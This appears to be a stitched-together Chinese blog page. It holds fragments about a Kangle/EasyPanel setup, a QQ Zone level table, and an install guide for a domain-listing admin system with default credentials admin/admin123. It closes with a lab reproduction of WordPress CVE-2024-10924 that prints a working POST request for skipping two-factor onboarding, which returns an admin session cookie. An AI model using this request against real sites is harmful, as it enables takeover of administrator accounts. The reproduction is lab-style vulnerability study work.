“更换EasyPanel模板”。选一个自己喜欢的即可.我选的是2号至此Kangle+EasyPanel安装完成，接下来开始配置vhms前台。新开一篇文章。
无聊。手搓了一款可以查询QQ空间等级升级所需积分的查询表项目截图：代码太长了，分三段{cat_highlight color="pink" text="CSS样式"} {cat_highlight color="yellow" text="index主体"} QQ空间等级查询 QQ空间等级数据表 1-600级完整数据 · 计算公式：(n-7)²×10 (n≥10) 等级查询 查找 升级所需积分 升级查询 等级 所需积分 等级图标 计算公式 友情链接 小野博客 深蓝丶 QQ空间官网 腾讯QQ 腾讯网 {cat_highlight color="green" text="javascript"}
【游侠系列】--游侠米表系统带后台开源
一、系统简介米表后台管理系统是一个用于管理域名信息的工具，支持域名添加、编辑、删除、置顶、统计等功能。用户可以通过后台管理系统高效管理域名数据。二、系统功能域名管理• 添加域名：支持单个域名添加和批量导入。• 编辑域名：修改域名信息，如注册时间、到期时间、报价等。• 删除域名：移除不需要的域名记录。• 置顶域名：将重要域名置顶显示。域名统计• 查看域名总数、已售域名数量、置顶域名数量等。友情链接管理• 添加、编辑、删除友情链接。系统设置• 自定义网站 Logo、联系方式等信息。• 修改管理员密码。程序安装教程​一、准备工作​服务器环境：PHP 8.0 或更高版本。MySQL 5.6 或更高版本。Web 服务器（如 Apache、Nginx）。​下载程序：从您的代码仓库或网站下载程序压缩包。​解压程序：将压缩包解压到 Web 服务器的根目录或子目录中。以下是一个简单的 ​安装教程，帮助用户快速部署和配置您的程序。二、配置数据库​1.修改配置文件：打开 config.php 文件，修改数据库连接信息：// 数据库连接配置 define('DB_HOST', 'localhost'); // 数据库主机 define('DB_USER', 'root'); // 数据库用户名 define('DB_PASS', 'password'); // 数据库密码 define('DB_NAME', 'myapp'); // 数据库名称​2.创建数据库(已经创建了的可以忽略这步，直接看3)：登录 MySQL，创建一个新的数据库：CREATE DATABASE myapp;3.​导入 SQL 文件：使用 phpMyAdmin 或其他 MySQL 工具，导入 sql 文件夹中的 sql.sql 文件。导入步骤：登录 phpMyAdmin。选择刚创建的数据库（如 myapp）。点击 ​导入，选择 sql.sql 文件，然后点击 ​执行。三、访问网站​访问前台：打开浏览器，输入您的域名（如 http://example.com）即可访问网站。​访问后台：后台地址：http://example.com/admin/login.php。默认账号：{cat_highlight color="green" text="admin"}默认密码：{cat_highlight color="green" text="admin123"}四、常见问题1. 登录失败• 检查用户名和密码是否正确。• 如果忘记密码，安装下面教程重置密码。用 password_hash() 加密密码新建一个php页面。将下面代码复制粘贴，然后进行访问该页面。<?php $password = password_hash('admin123', PASSWORD_DEFAULT); echo $password; // 将输出加密后的密码 ?>将生成的加密密码插入到数据库中：INSERT INTO admins (username, password) VALUES ('admin', '粘贴刚刚生成的加密密码');功能展示{cat_gallery}{/cat_gallery}注意：安装此程序的时候，如果使用的是二级目录，请自行修改css,js路径。避免网站样式丢失下载地址github:github仓库.osc_pro_color {color: #393222 !important;}.osc_panel_color {background-color: #ebdfc1 !important;}.osc_background_color {background-color: #fffae5 !important;}.osc_border_color {border-color: #d8ca9f !important;}.osc_desc_color {color: #393222 !important;}.osc_link_color * {color: #a28b40 !important;}
测试环境环境地址 WordPress/CVE-2024-10924(该裤已经删除)安装教程执行如下命令启动一个WordPress漏洞环境：docker compose up -d访问 http://你的安装地址/wp-admin/install.php 进行WordPress安装。安装完成之后使用创建的管理员账号登录。登录后访问 http://你的安装地址/wp-admin/plugins.php，点击“启用”激活Really Simple Security插件。（这里不能点“启动自动更新”，会升级成无漏洞版本）。接着会跳出SSL激活选项，这里我们点击“Cancel”。接着直接在当前页面点击“Settings”。"Login Protection" > "Two-Factor Authentication"，接着如图顺序点击。至此，CVE-2024-10924漏洞环境安装完成。漏洞复现正常访问后台登陆页面 http://你的地址/wp-login.php 发现处于未登录状态。执行以下POC，其中user_id的值是你要登录的用户（一般管理员id是1）。POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Content-Length: 89 Connection: keep-alive { "user_id": 1, "login_nonce": "12345678910", "redirect_to": "/wp-admin/" }执行结果会返回Cookie值，把这个cookie放到正常请求包里即可使用admin的身份登录后台。但这里会发现一个问题：这个cookie必须在每次请求都手动添加，非常麻烦。于是我们可以使用burpsuite中的“Match and replace rules”设置来在每一次请求包中添加Cookie，实现在后台顺滑地进行操作。结束